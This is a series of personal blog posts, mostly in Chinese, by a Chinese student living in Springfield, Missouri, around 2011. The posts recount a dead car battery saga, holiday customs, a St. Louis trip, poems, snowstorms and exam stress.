Categories: Life, Springfield 下午准备开车去银行,结果发现车打不着了,转动钥匙只能听到吱吱吱吱,没有往常发动机启动的声音,档位也无法调节,车窗、收音机一切正常。以为出了什么大问题,就给River打电话,River说肯定是电瓶没电了,搭下电就可以了。然后他就张罗帮我借了电瓶线,把自己车开过来,手脚麻利的把电瓶线接上,yeah! 车子能够启动了。然后他交待我要多开一会儿,才会充满电,我就正好开到银行去。 把车开到银行,在Driver thru通道停车,然后ATM上取了钱,准备要走的时候,发现车又无法启动了,我车后面还有另外一辆车等我走了用ATM呢,我只好回头抱歉的和他说,”I am sorry, I cannot start my car. low battery”,然后急急忙忙给River打电话,想让他再跑一趟。大概River正忙着给Vince换灯没空接,这时候后面这辆车拐了一个弯绕到我旁边,在我惊讶的眼神中,从后备箱拿出一套电瓶线,就准备给我搭电,接好以后,我把车发动了,从银行里面走出来一个人,what’s wrong with you,guys?,看到我车已经发动了,伸出一个大拇指,看到一个询问的眼神,我点点头。回头一看,Driver thru通道已经排了好多辆车了,我只好对刚才帮我的那个美国小伙,说了句thank you very much,迅速把车开跑了,害得他要重新排队。 想着要重新给电池充电,我就想干脆把东西先给11送过去,他在猪蹄家,然后开到猪蹄楼下,习惯性的拔出了钥匙,拔出的瞬间,后悔的要死,还没充好呢,果不其然,又无法启动了。跑到楼上和11说了,他说我去River那里把线拿过来吧。搭线启动,我把车开回住的地方,让车发动着停在院子里,然后进房间做自己的事情。隔了近半小时,出来停车再启动,历史又重演了。正好Michael开了一辆车回来了,说你应该让车跑个20来分钟,踩了油门才会充电。重新搭线启动,把车开到路上,本身想去买点东西的,突然想到没办法停车,在公园转了两圈,然后开到附近的那个公墓。这里很清静,人少,车少,风景也好。在公墓转了快半小时,才把车开回去。悲剧总归是一个悲惨的结局,停车以后还是无法启动。 在班上群咨询以后,估计是电瓶问题,已经晚上8点多了,这个点卖汽车配件的地方都关门了,除了沃尔玛。和River商量了一下,开去沃尔玛换个电瓶好了,他看过电瓶以后,告诉我一个“好”消息,电瓶是09年9月的,这个电瓶保修两年,也就是可以免费换一个电池,而且还从同学那里的到消息说,沃尔玛免费安装电瓶。兴冲冲搭好电跑到沃尔玛,他说春田就这个店不提供安装服务,而且买新电瓶必须把旧电瓶带过来。在得到不提供工具外借服务后,想到了先买后退的方法,买了个扳手出去拆电瓶。最下面的螺丝扳手够不到,拆不下来,我建议去另外一个沃尔玛去换,在得知其他的店安装服务大概已经关门了的时候,River说,既然来了,那就不能白跑一趟啊,买套组合套手,把电池拆了自己换吧。为了退货方便。挑了套容易打开,又不损坏包装的套装,出来,三下五除二把电瓶拆下来。 拎着旧电瓶进去,然后找了个新的,走到收银台,他们说旧电瓶可以抵扣9刀,我说我们的电瓶在保修期内,应该可以免费更换的。收银大妈打了电话请示,然后找人来测试电池,等了好几分钟,测试人员来了,发现测电池的接口不对,问我们是真想测试,还是想抵扣,我说要抵扣,他就给我一张条,说可以抵扣9刀。我说这个在保修期内,他说这个必须要检测,然后把检测结果给我。我们也不能出具当年的购买收据证明在两年内,只能看生产日期。发现River报告的好消息错了一半,生产日期是09年5月份的,而现在是6月份,刚好过保,而且,收银大妈找来主管,请示了半天,把旧电瓶拎过来,噼哩啪啦输了一通键盘,然后告诉我们25刀(原价67刀外加税),给了我们40多刀的折扣,因为已经过保了,但是电池上面标明使用期限是72个月,实际我们25个月就不能用了。出来的时候,River说,口水了1个多小时,省了40多刀,超值了。把电池装上,车也总算能启动了。随后准备去客服中心把工具退了,走到门口,一个服务员问我们是不是要退东西,11点之后就不能退东西了,只能第二天再来了。 回到住的地方,已经快12点了,为了这个一波N折的电瓶,晚饭还没吃。搭了5次电,愣是把生手整成熟手。费了一个多小时口水,省了49刀,也算是超值了。要是没有River的帮助,还不知道什么时候能够搞定。还是资本主义好啊,能够主动给我折扣,还能“免费”使用工具。。。明天还要去退工具。。 --- ## Dragon boat festival without rice dumplings Date: 2011-06-07 URL: https://blog.wo.ai/archives/113 Categories: English, Life, Springfield Today is Chinese dragon boat (Duanwu) festival. Because of the time difference, I called my family in the morning and they asked me how to spend this festival. I told them I will buy some rice dumplings (Zongzi) this afternoon. After a nap, I drove to Seoul oriental market located Campbell Ave. I looked all round the shop, I couldn’t find it. So I asked the boss (Korean) if they have rice dumplings, the boss murmured, “Rice dumplings??” One of the staff (American guy) answered, “Zongzi? For the dragon boat?” “Yes, for the dragon boat day.” I said. “We used to have it, but it is seasonal goods, we sold it out. Today is the dragon boat day?” asked by the staff. “Some kinds of food with bamboo leave outside? We have bamboo leave sold here, you can buy some to make it yourself.” The boss said. If today were yesterday, maybe I would make Zongzi myself. I had to leave this shop and drove to another Asian food and gift shop. I asked the staff where I can get the rice dumplings; they said they don’t know what it is. I explained that it is made of rice and with bamboo leave outside and should be eaten on Dragon boat festival which is on May 5th based on Chinese Lunar calendar. And I thought Korean should know this day and I told them. But she told that May 5th is the Children’s day in Korean! And she took me the book shelf and introduced some Chinese food books and let me find the English name for Zongzi. I tried to find the name from the books, but I failed. I had to look for it around the shop myself. Unfortunately, I couldn’t get it. I knew she also couldn’t eat Zongzi this year. I was a little disappointed. Following is the introduction of Zongzi that I copied from Wikipedia. Maybe I should learn it before I went to the market. Zongzi (or zong) (Chinese: 粽子) is a traditional Chinese food, made of glutinous rice stuffed with different fillings and wrapped in bamboo or reed leaves. They are cooked by steaming or boiling. They are known in Japanese as chimaki. Laotians, Thais, and Cambodians (known as Nom Asom) also have similar traditional dishes. In the Western world, they are also known as rice dumplings or Chinese tamales. In Indonesia, they are known as bakcang or bacang (Chinese: 肉粽; Pe̍h-ōe-jī: bah-chàng), a loanword from Hokkien, a Chinese dialect that is commonly used among Indonesian-Chinese besides Mandarin. Along the same lines, zongzi are more popularly known as machang in the among the Chinese Filipinos. --- ## 生命似嘉树 Date: 2011-05-26 URL: https://blog.wo.ai/archives/111 Categories: Life 生命似嘉树,爱情若丽花; 自由昭临处,欣欣迎日华。 生命巍然在,爱情永无休; 愿殉自由死,终不甘为囚。 北大才女林昭 “历史将宣告我无罪”: 林昭,苏州人。1954年,以江苏最高分考入北大新闻系,是公认的才女。 57年被打成右派,但是拒不认罪。1960年以阴谋推翻人民民主专政罪被捕;1962年保外就医,同年再次以扩充反革命罪收监,判刑20年。林昭在1968年4月29日,以”现行反革命”罪被秘密枪决。 她曾说:“我们的血是再鲜艳不过,而且再灿烂不过的墨水,人世间其他一切墨水在这样的墨水之前统统都不免黯然失色!”她做的这一切,表面上是求死,求得速死,实际上她是向死而生,向自由而生。所以,她在才会铁窗高墙内热切地呼唤:“自由,这个人类语言中最神圣、最美丽、最高贵的名词,永远燃起人们特别是青春心灵之最强烈的爱恋与追求的感情!” “天天号召人们说真话,但在说真话的人都没有好结果。 因此人人为了生存只好说假话。 总是说假话的民族是一个伪善的民族。。。 让我们说真话吧! 如果不能说,保持沉默好了! 因为说真话你做不到,起码能做到不说假话!” --- ## Houaida Goulli – I love the mountains Date: 2011-05-23 URL: https://blog.wo.ai/archives/109 Categories: Miscellaneous, Music, Music & Movie 在网上看到一段视频,歌词很可爱,声音也很可爱,做个记号。 I Love The Mountains I love the mountains I love the rolling hills I love the flowers I love the daffodils I love the fireside When the lights are low Boom-dee-a-da, boom-dee-a-da, boom-dee-a-da I love the ocean I love the open sea I love the forest I love the bumblebees I love the stars above When night turns into day Boom-dee-a-da, boom-dee-a-da, boom-dee-a-da I love the sunshine I love the butterflies I love the windblow I love the river flow I love the city lights When the moon is high Boom-dee-a-da, boom-dee-a-da, boom-dee-a-da I love the daysies I love the sugar peas I love the meadows I love the summer breeze I love to walk on by My head up in the sky Boom-dee-a-da, boom-dee-a-da, boom-dee-a-da Boom-dee-a-da, boom-dee-a-da, boom-dee-a-da Boom-dee-a-da, boom-dee-a-da, boom-dee-a-da Boom-dee-a-da, boom-dee-a-da, boom-dee-a-da --- ## 圣路易斯之旅 Date: 2011-04-29 URL: https://blog.wo.ai/archives/107 Categories: Life, Springfield 上周是复活节,有四天假期,时间不算很长,不适合太长的旅行,而且回来周一就是考试,所以就只能和同学选择一个比较近的城市自驾旅行。基本的安排是玩三天,回来看一天书准备考试。­ 最近天气一直不是很好,和国内的梅雨季节差不多,时不时就下雨,一大清早一行8人顶着满头乌云出发了。­ ![图片](/wp-content/uploads/2011/04/qzone-id107-1.jpg) 一路上阴晴不定,有的城市天晴,有的城市下雨。一路高速,我和11轮流开。毕竟拿到驾照不久,高速上车少的时候能够开得很轻松,车速一般在70-80英里(112-128公里),但每次碰到大集卡的时候,只能超车,每逢超车的时候,抬头看到集卡就在头顶,心里都能感觉到无边的压抑,只想离它远远的。为了躲避集卡当车偏离车道的时候,车轮压在高速路边提醒带,都会发出咕咕的声音,同时伴随着脊椎发麻的震动,车上睡着的几位同学都会被震醒。­ 经过3个多小时车程,总算开到了圣路易斯。第一站是艺术馆,免费。在美国基本每个城市都有艺术馆和博物馆,每次参观的时候都会让我恨得牙痒痒,因为都会展出很多中国的文物,甚至比国内展出的还豪华。最让人惊讶的是还有一张民国张大千的画,这幅画可是价值连城。之后参观了动物园,还是免费开放。参观完以后已经快6点了,到酒店check in以后,急急忙忙出去找吃晚饭的地方。有人建议去吃Al’s的牛扒,这是家百年老店,经过11叔amazing的哀轰4查出来,这家店离酒店不远,决定步行过去。按照哀轰4的导航,绕了一个大圈,原来iphone是按照驾车的路线,而我们走的地方是单行线。顺路看到了著名的拱门和密西西比河,然后走的路越来越偏僻,在即将到达目的地时,一列火车开来,这时雨开始下大了,大家在雨中和火车声中挣扎,饭店在哪里?大家正在要挟她要是找不到的话,就拆了她胳膊吃,这时她从火车车厢的缝隙中看到街对面就是那家饭店,总算让她松了口气。耐心等了10分钟火车过完,穿过马路,发现门是掩着的,推了两层门进去,一个人都没有。在我们hello了N声以后依旧没反应,一位同学总算在一个小房间找到一位服务员,在我们还在担心是黑店的时候,一下子同时出来好几个人,愈发觉得是黑店。在得知他们店没有printed menu的时候,11叔依旧说can you show us menu?他们说可以给我们看菜单。过了一会儿推出来一辆小车,上面有切块的各种肉,8盎司的牛扒,12盎司牛扒,羊排,龙虾等,在逐一问过价格后,大家点了自己想要的。在大家一致沉迷于拍照时,以及把cheese当成冰激凌时,边上一直都能听到他们偷偷的笑声,丢人丢到国外了。­ ­ ­(右下角就是被我们当成冰激凌的cheese) 吃完以后,饭店的老板还来给我介绍了一下饭店的历史,曾经是建在一艘船上,停在密西西比河边,后来搬到河边的这个位置,另外一个黑人服务员专门领我们到边上的一个房间去拍照,那里有这家饭店的历史照片。在这期间也没有其他人来这里吃饭,等到吃完这顿“包场”的饭局,已经晚上10点了,匆忙赶回酒店。路上遇到一些不友善的小黑,幸好我们人还算多。看样子只有春田的小黑才算友善。­ 圣路易斯最出名的莫过于拱门了,拱门高630英尺(192.024米),宽630英尺,总共使用43000吨不锈钢建成,建于1963年,1965年完工。要想到拱门顶,需要乘坐专门的电梯,需要花费4分钟时间才能达到顶部。达到顶部以后,圣路易斯城主要建筑都一览眼中。­ ![图片](/wp-content/uploads/2011/04/qzone-id107-2.jpg) 圣路易斯是密苏里州第二大城市,被密西西比河一分为二,西边是密苏里州,东边是伊利诺伊州。密苏里州禁止赌场,而伊利诺伊州赌场合法,因此赌场就在河的东面。在我们来到拱门上的时候,看到河对岸就是有名的casino queen,曾经建造在船上,后来烧了,建在岸边。记得上课的时候,美国教授说中国人喜欢赌博,晚上我们一行人来到casino赌场,出示ID证明是21岁以上,看到人山人海都在赌,给我第一感觉是来到了游戏厅,很多人都围在拉霸机器前狂按按钮。貌似运气不佳,1美分一次的拉霸都能输掉10刀。后来来到21点的台上,­瞬间20刀没有了,看样子赌神并不是每个人都能当的。 离开赌场后,Harison强烈要去脱衣舞场,说这是美国的一种文化,每个人都应该去体验一下,而且白天他和另外一个同学已经踩好点了。后来我们在他踩好点的情况下依旧转悠了半个小时(他说只要几分钟就能到)才到他说的地方panthouse,他请大家吃三明治作为补偿。出示ID,交10刀门票,买了一瓶啤酒,收到一堆1刀的零钱,就可以进入舞场了。进入舞场以后,就看到台下很多衣着暴露的女子走来走去,台上脱衣舞娘也在奋力扭动着腰肢。紧挨着舞台的座位上坐了不少人,不仅可以近距离的看到舞娘的表演,而且在掷出一刀刀的美金后,舞娘会摆出更加诱人的姿势甚至允许你去触摸他们的身体。我们找到一排较远的座位坐下,开始看他们的表演。Harison经受不了诱惑,终于坐到第一排。后排座位身边穿梭着不少暴露女子,专门寻找单身男子询问是否需要贴身舞服务,我身边的两位女同学反倒给我极大的保护作用。在Harison在前排兴奋的同时,我们三个人在后排居然睡着了,后来传说着两位女同学回去以后居然做噩梦了。后来讨论的结果是11同学要比Harison清纯得多。 第三天只安排了去参观百威啤酒厂。百威啤酒厂专门安排了导游服务,包括产品展示、百威相关服装玩具等的销售、生产流程介绍、流水线参观等。当然最后还有免费的啤酒品尝。啤酒厂的自动化程度很高,罐装、打包都是全自动的,几乎不需要人工的参与,难怪美国人一直很在意是去工作机会,使用机器提高了效率,也让更多的失去了工作。 ![图片](/wp-content/uploads/2011/04/qzone-id107-3.jpg)(这是我选择的口味) 参观完百威啤酒厂,我们就踏上了回春田的归程。回程天气依旧多变,有的路段暴风骤雨,还能看到彩虹,还有美丽的晚霞。当然还有某位童鞋的尖叫“看,草泥马!”,大家回头看的时候,当真有两只站在路边眺望远方,可惜还没来得及拍照,车已经跑远了。 三天的旅程就这么结束了,即使再怎么抱怨老师变态让我们假期过不好,周一还是要考试,收心学习吧。 --- ## 上巳和清明 Date: 2011-04-17 URL: https://blog.wo.ai/archives/105 Categories: Life, Springfield 上巳節是中國古老的傳統節日,俗稱三月三,該節日在漢代以前定為三月上旬的巳日,後來固定在夏曆三月初三。「上巳」最早出現在漢初的文獻。《周禮》鄭玄註:「歲時祓除,如今三月上巳如水上之類」。據記載,春秋時期上巳節已在流行。上巳節是古代舉行「祓除畔浴」活動中最重要的節日。《論語》:「暮春者,春服既成,冠者五六人,童子六七人,浴乎七沂,風乎舞雩,詠而歸。」就是寫的當時的情形。宋代以後,理學盛行,禮教漸趨森嚴,上巳節風俗在漢人文化中漸漸衰微。 清明,農曆二十四節氣之一。每年4月5日前后太阳到达黄经15°时开始;《月令七十二候集解》:“三月节……物至此时,皆以洁齐而清明矣。”故清明節總是在公曆4月4日、4月5日、4月6日三天中的一天。《曆書》:「春分後十五日,斗指丁,為清明,時萬物皆潔齊而清明,蓋時當氣清景明,萬物皆顯,因此得名。」清明節與除、盂、九三節也是中國傳統節日裏祭祖的四大節慶。 (引自维基百科) 昨天是上巳节,也就是通常所说的三月三,又碰巧是清明。儿时每逢三月三,都是踏青的好时节,把整个冬天厚重的衣服通通抛开,跑向郊外,去享受灿烂的阳光,和暖的春风,还有各色的山花。虽然山上不象城市里面会把丁香、玉兰之类的树种在一起,满山遍野红艳艳的杜鹃花那也是赏心悦目,当地把杜鹃花叫做映山红,映山一词足以证明杜鹃的红艳程度。儿时还会挑最鲜最艳的杜鹃塞进嘴里,酸酸甜甜也是别有风味。此外三月三还有一个特别的习俗,那就是采地菜煮鸡蛋,长辈们说吃了地菜煮的蛋,一年都不会头痛,至于是否有此功效,不得而知,但是戴着一个用网兜装着的鸡蛋到处跑也是儿时的乐趣之一。到网上搜了一下,居然还真能找到一个网兜的照片,在那个年代姐姐们对于做金鱼、钥匙扣、网兜此类东西乐此不彼,我也正好坐享其成。 ![图片](/wp-content/uploads/2011/04/qzone-id105-1.jpg) ![图片](/wp-content/uploads/2011/04/qzone-id105-2.jpg) 也不知道从哪年开始,老妈每次都在三月三开始做米酒,放到端午或者中秋打开煮了喝。刚做出来的米酒很甜,几乎没有酒味,所以我们总在那个时候大吃大喝。等到中秋时节,米酒已经变成红色,那就成了老爸的最爱。今年在春田猪蹄熊爷发起做米酒,我也步他们后尘,尝试做米酒,大概是因为在家看得比较多,理论基础还不错,第一次做出来的效果还很不错,以至于出坛第二天已经米酒没有了,还没来得及给猪蹄送去他预定的半斤。 今年的上巳碰巧和清明一天,大概从小离乡,对于清明扫墓的风俗没有留下很多印象,每年都是父母回老家把一切都办好了。清明给我留下最大的印象,就是清明果了,还有艾粑粑,艾粑几几等叫法,就是把艾菜切碎,和糯米粉混在一起,蒸出来的饼。当地做这个饼很简单,用手捏出来一个饼就可以了,我们家还是按照老家的做法,用老爸做的一个模子,把糯米粉压在模子上,做出来的清明果大小、样式都是统一的,而且老爸做模子的时候,还在模子上面刻有花纹,所以比当地做的要好看的多。网络的存在真是好,清明果和模子的照片都能够找到。 ![图片](/wp-content/uploads/2011/04/qzone-id105-3.jpg) 现身在异乡,想体验着两种美味似乎是不太可能的,本身想在附近的公园去看看地菜和艾草是不是能够找到,貌似公园的草都整齐划一,比较难找到此类“杂草”,大概郊区还能找到,所以只能在这里回忆了。但年明年的今天不再是回忆吧。 --- ## 春田的春天 Date: 2011-03-28 URL: https://blog.wo.ai/archives/103 Categories: Life, Springfield 来春田半年多了,看到国内物价飞涨,美国这边的消费也水涨船高,油价由刚来的2.4刀一加仑(3.78升)涨到3.3,青灯笼椒由0.6x涨到1.3x一个,卷生菜也由0.6x刀一个涨到1.4x,鲜奶2.2x刀一加仑涨到4.xx一加仑,难怪总听到美国人也在抱怨物价高,问他们理由,他们回答是世界太乱了。 也许是在这边的生活太过于单调的缘故,也许是受美国人的影响,同学们似乎都乐衷于自己动手去做一些事情。比如River童鞋已经为我们班定作了10多张板床,Leo童鞋夫妇专心在家烤蛋糕和牛排在班上有很好的口碑,还有berry夫妇的包子,有的童鞋自己包饺子、包馄饨、做面条、烤pizza、做火锅,修窗帘,还有猪蹄童鞋专门让从国内带了酒曲过来做米酒。当猪蹄童鞋带了一罐米酒给我的时候,觉得美国这边太神奇了,什么事情都可以自己做,不会做饭的同学来到这边都开始自己动手了,在国内似乎这些事情都应该在我们这一代身上绝迹了的。后来我在亚洲超市有幸发现猪蹄给我的酒曲和糯米,下午也按照之前我妈的方式,做了半罐子米酒,包起来藏在空调出风口边,不知道明天能不能出酒,酒还没出来,已经被猪蹄童鞋预定了半斤。 春田的春天来得很突然,一下子草变得翠绿了,路边是一树一树的花,白色的梨花、粉色的桃花、粉红的玉兰花。虽然冬天的时候哪怕在大雪的积压下,还有很多绿色的小草,春天小草要嫩绿很多,让人直接能感受到春天的气息。但是昨天开始又突然降温,最低温度又变成了-2度,刚特意出门一看,居然开始下雪了,还不小,真不知道这天气还要折腾多久。 ![图片](/wp-content/uploads/2011/03/qzone-id103-1.jpg) ![图片](/wp-content/uploads/2011/03/qzone-id103-2.jpg) ![图片](/wp-content/uploads/2011/03/qzone-id103-3.jpg) ![图片](/wp-content/uploads/2011/03/qzone-id103-4.jpg) 突然想念昆明圆通山的樱花了,三月是昆明最美的时候,还有昆工校园小径两边的垂丝海棠,当年海棠、桃花、樱花是校园一条美丽的风景线,但是某些愚蠢的人居然把这些树全砍了。 ![图片](/wp-content/uploads/2011/03/qzone-id103-5.jpg) (圆通山的樱花) ![图片](/wp-content/uploads/2011/03/qzone-id103-6.jpg) (这是从网络搜索到的昆工的海棠,05年还依然存在) ![图片](/wp-content/uploads/2011/03/qzone-id103-7.jpg) (昆工的垂丝海棠路,可惜不是开花时节拍的) --- ## 32岁生日 Date: 2011-03-10 URL: https://blog.wo.ai/archives/101 Categories: Life, Springfield 上学之后不断地被告知这个、告知那个,学会了十万个为什么,好像不需要再问为什么。 不上学之后,发现万能的教科书教给你的只是无能的知识 你没有办法用存在主义解决不断加班的问题,不管它是否合理、是不是地狱;你没有办法用结构主义解决买不起房子的问题,不管你多么清楚社会各个环节与整体之间的关系;你没有办法用马列主义解释你所关心的时事杯具,不管问题出在劳动人民还是出在资本主义。 终于,生活刺激了我,让我学会了问为什么。 这个专辑,是关于这个时代的现象,也是关于这个时代的疑问。谁告诉了我们假的,让我们排斥真的;谁让我们经历了真的,去告诉别人假的。 经历这么多真真假假,好像是一群成年人围坐在利益关系的旁边、玩着一种充满刺激和疑惑的成长游戏,叫做“过家家”。 太多的问号冒出来顶在头上,压弯了我们的脊柱。它让我们忍着颈椎的疼痛、驼着背、保持着像问号一样的姿势匆忙出没于大街小巷工厂农房,日复一日地渴望又遗忘着答案。 不管答案是漂浮在风中还是沉没在梦中,游戏依然在继续,把它玩成什么样子,这是你的命,决定权在你自己。 32岁的生日(北京时间)从中午开始,然后网上从从车东(博客巴士的CTO)看到横戈,再从他看到邵夷贝。她考大学复读了一年,不一不小心却考了全省状元进了北大;她自己作曲写歌自己唱,歌里有她的视角和她的批判,也有她的亲情和她的温暖;她就是那个刚刚举行了成人礼的女文青,她叫邵夷贝,外号邵小毛——上面是她第一张专辑《过家家》CD里面的“前言”。她的声因还有些稚嫩,起承转合的时候也还有些生硬,但是她唱出来了,把大家不敢说的话都说出来了,虽然她的音乐还属于地下,也许过不了多久就被封杀,但是代表了很多人的心声,当今“和谐”的风气下,能够站出来说话的人不多。 回顾自己走过的32年,很多时候觉得自己还是长不大的孩子,对朋友很热心,喜欢的东西会投入去做,对于自己不喜欢的东西不去碰,不喜欢的人不屑与之为伍,有些格格不入。恋旧,自命清高,不太懂得妥协,看不惯溜须拍马, 也不喜欢和溜须拍马的人为伍;看不惯唯利是图,但是又无能无力。有目标,但是很多时候没有行动。很普通的一个人。 2011的到来,虽然开头并不是很好,也只是个开始,还有大半年的可以去努力改变这个不好的开端,有个圆满的结尾。 --- ## 新年第一课 Date: 2011-02-11 URL: https://blog.wo.ai/archives/99 Categories: Life, Springfield 中国的新年过完了,第一门课是高级财务管理,这么课还没上之前已经久仰这位教授大名,课程难,教学严,没有丝毫通融的余地。第一节课就给我们自我介绍39岁,结婚17年,夫人也是MSU教授,没有孩子,也没打算要孩子,然说了一堆的考试要求,只能用指定的计算器,考试只能算一张3X5的纸条作为参考(公式太多,估计没人能全部记住),双手必须时刻都在桌面上等等。今早还收到他的邮件,说他教的前一个班,有7个C,2个D,还有一个F。拿到D和F就基本没有毕业的希望了。 明天是这么课的第一次考试,所有人都被这个老师搞得很紧张,我也是如此。这门课是我来这里以后听得最认真的一门课了,因为财务会计的底子比较差,所以只能多花点时间。早上起来,9点到图书馆,开始做老师布置的作业和考试的样题。先做了作业,然后开始做样题。不做还不知道,一做才发现是多么的耗时间。样题总共19题,我花了5个钟头才做完。等做完,发现已经是4点钟,此时已经是头昏眼花,脑子一片空白,肚子饿的瘪瘪的,早上只是喝了杯牛奶就出门,来这里什么都没吃,座位都没离开过。是该回去吃点东西了,但是又舍不得这个风水宝座被人抢了,前段时间室友电脑在图书馆被偷,不敢把电脑留在这里,留了笔记在桌子上,把包背到楼下四爷那里,赶回宿舍随便吃了东西又来到图书馆。又开始准备3X5的小抄纸,教授说大了他会帮你用剪刀剪掉多余的。做完以后开始往上面抄公式。明天的考试,怎么办才行啊,两个小时内要做完40题,真不可思议。 这段时间貌似有开始睡眠不足了,等下回去要早点睡,晚饭还不知道如何解决。大年二十九的那场雪,一个多礼拜还没化掉,又紧接着下了两场雪,路旁扫雪车堆起来的雪有的地方比人还高了,早上看天气预报室外温度居然是零下23度,我拿温度计出去测了一下,好像只有零下14度,也没感觉很冷,难道就是所谓的麻木了?改过自新,当好学生,早点回去睡觉准备明天的考试吧。 --- ## What is love? Date: 2011-02-07 URL: https://blog.wo.ai/archives/97 Categories: English, Life Love is patient, love is kind. It does not envy, it does not boast, it is not proud. It does not dishonor others, it is not self-seeking, it is not easily angered, it keeps no record of wrongs. Love does not delight in evil but rejoices with the truth. It always protects, always trusts, always hopes, always perseveres. Love never fails. But where there are prophecies, they will cease; where there are tongues, they will be stilled; where there is knowledge, it will pass away.(1 Corinthians 13:4-8) --- ## 一雪未平,一雪又起 Date: 2011-02-05 URL: https://blog.wo.ai/archives/95 Categories: Life, Springfield 前几天的天气预报还是比较准的,在大年二十九夜里开始下雪。我看到facebook上还有不少老外在讨论,之前已经发出了暴雪警告,美国人到沃尔玛疯抢食品,如果说这雪不下的话,会不会是2011年最大的笑话?到了晚上7点总算下下来了,一下就是两天。本身在美国是不过春节的,结果因为这场雪,学校停课三天,反而像专门给中国人放假。昨天开始春田铲雪车不停的工作,以及融雪剂的使用,交通基本恢复,今天早上取消了停课的通知,我们参加完供应链的最后一次考试,又开始下雪了。真是一雪未平,一雪又起,专门停了雪让我们考试,唉。 在春田基本找不到新年的气息,因为之前我们6班和7班准备组织一个新年联欢晚会,结果因为大雪的原因,很多老师无法参加,不得已取消了。而为这次活动准备的包饺子没有取消,据说TIM带了一群女眷在老姑宿舍包饺子。饺子包了近千个,她们家冰箱塞不下,就埋在在窗台下的雪中,后来她在群里面大呼一声,欢迎来我们家挖墙脚,大家蜂拥而至,等我去的时候,发现她们家窗台的雪地踩得最烂。 我们宿舍把这里的大年二十九晚上(国内的三十早上)作为年夜,所以做了七八个菜,5个人一起吃年夜饭。 本来准备早起和家里视频,大概因为雪的原因,结果网络不给力,连不上去。只能四点多起来,背着电脑,穿着严严实实的,深一脚浅一脚的跑到学校去。而学校停课,所有的楼都关闭了,只能在雪地上找了个座位,连上网络和家里视频,视频中还能看到背后雪地的背景。然后回到宿舍,还是无法上网,春晚也看不成,睡了个回笼觉。起来后发现网络又恢复了,春晚正好是赵本山的小品,小品内容不作评价,至少这个小品我无法坚持看完。后来又和儿子视频对酒,这个好吃的家伙,除了牛奶就对零食感兴趣。新的一年就这么开始了。 --- ## 你见或者不见我 Date: 2011-02-04 URL: https://blog.wo.ai/archives/93 Categories: Life, Springfield 你见 或者不见我 It doesn’t matter if you see me or not 我就在那里 I am standing right there 不悲不喜 with no emotion 你念 或者不念我 It doesn’t matter if you miss me or not 情就在那里 the feeling is right there 不来不去 and it isn’t going anywhere 你爱 或者不爱我 It doesn’t matter you love me or not 爱就在那里 Love is right there 不增不减 and it is not going to change 你跟 或者不跟我 It doesn’t matter if you are with me or not 我的手 就在你手里 my hand is in your hand 不舍不弃 and I am not going to let go 来我的怀里 Let me embrace you 或者 or 让我住进你的心里 let me live in your heart to eternity 默然 相爱 Silence. Love 寂静 欢喜 Calmness. Joy 听到这首诗,首先是在非诚勿扰2里面,李香山的女儿念给他听的诗,虽然说感觉不太适合她,但却是是一首很好的爱情诗。这是一首仓央嘉措的诗,接受了爱,却牺牲了佛缘。 1697年,仓央嘉错被选定为六世达赖灵童后。后来遇见了一位十分漂亮的民间少女——仁珍翁姆。这位美丽的藏族姑娘并不知道这个化名为荡桑汪波的就是藏族人民见则叩头的活菩萨;只是因为他那少年英俊、风姿翩翩的魔力,使她难以隐藏心里的爱情。仓央嘉错对于仁珍翁姆天仙般的美貌,也同样浸沉在想入非非之中。但当他猛想起数百条佛教的清规戒律时,不禁打了一个寒颤。喇嘛与女人,就像水与火一样,是绝对不相容的。他在一首诗里写道:接受了她的爱,我却牺牲了佛缘。若毅然入山修行,又违背了她的心愿。 不过他矛盾的心情很快就解决了。他最终选择了爱情。 补记:后在网上查到另外一个说法,记录如下: 曾经在网络上被反复转载的诗歌《班扎古鲁白玛的沉默》(标题后来更被篡改为《见与不见》),被很多人误传为是六世达赖喇嘛仓央嘉措的作品。其实这首诗出自多多从零七年五月开始写的《疑似风月》集的中集,在《沉默》之前还有《唱》和《说》,它们是同一个系列的。“班扎古鲁白玛”其实是梵文的音译,班扎,就是Vadjra,是“金刚”的意思;古鲁,就是:Guru,是“上师”;白玛,就是pema,是“莲花”的意思。“班扎古鲁白玛”:金刚上师白莲花,也就是莲花生大师(第一个将佛法传入西藏的人,被认为是第二佛陀)。而莲花生大师的心咒就是:“嗡阿吽 班扎古鲁白玛悉地吽”,在起名字的时候,我就是从这个心咒中取的。这一首《班扎古鲁白玛的沉默》的灵感,其实是来自于莲花生大师非常著名的一句话:“我从未离弃信仰我的人,或甚至不信我的人,虽然他们看不见我,我的孩子们,将会永远永远受到我慈悲心的护卫”,多多想要通过这首诗表达的是上师对弟子不离不弃的关爱,真的跟爱情、跟风月没有什么关系。 即便如此,多多愿意,将荣耀归于仓央嘉措。 ![图片](/wp-content/uploads/2011/02/qzone-id93-1.jpg) --- ## 暴风雪前夜 Date: 2011-02-01 URL: https://blog.wo.ai/archives/78 Categories: Life, Springfield 天气预报说今晚开始要下大雪,可能还要伴随冻雨,冰,冰雹,反正恶劣天气都凑一起了,明后天温度是零下14到零下20度,看样子要在这里过一个白色春节了。下午开始就收到邮件、电话说让准备一些生活必需品,防止在这期间断水断电,没法出门啥的。前两天本身已经采购过了一些食物,为了防止万一,就准备出门去沃尔玛补点食物。 开车上路后,发觉情况有些不对,今天居然堵车了,平常只需要三四分钟车程的路,开了10多分钟。到了沃尔玛以后,也是出乎意料,里面人山人海,有些食物都已经搬空了,找到了点国内超市人挤人的感觉。问了老外朋友需要准备些什么,牛奶、面包、罐装水、鸡蛋、盐之类的,其他的手电之类的没有买。现在唯一担心的是,万一断电的话,没暖气的话,日子就不好过了。后来考虑到要过年了,想顺便买点年货,但是没找到过年的感觉,鸡鸭鱼肉,鸭肉在这边从没见过,其他三样都有了。东西买齐以后,结帐的地方队伍很长,平常大概两三分钟的队伍,今天排了30多分钟。大概沃尔玛就喜欢这种恶劣天气吧,他们的生意火爆的出奇。 我们班和7班除夕晚上(大概国内的初一)组织了春节晚会,邀请了老师来参加,如果雪太大的话,估计活动就要取消了。现在窗外气温降低了不少,但是雪还没开始。就在家慢慢等,让暴风雪来得更猛烈些吧! --- ## 学车 Date: 2011-01-30 URL: https://blog.wo.ai/archives/76 Categories: Life, Springfield 在来美国之前,就听说这边考驾照很容易,美国驾照考试的目的就是让所有的人都学会开车,费用也很低,总共加起来好像也才10多刀,和国内国内动辄三四千的费用相比,真是一个天上一个地下。所以我就打算在这边考一个驾照回去,到时候看是否可以回国换一个国内驾照。 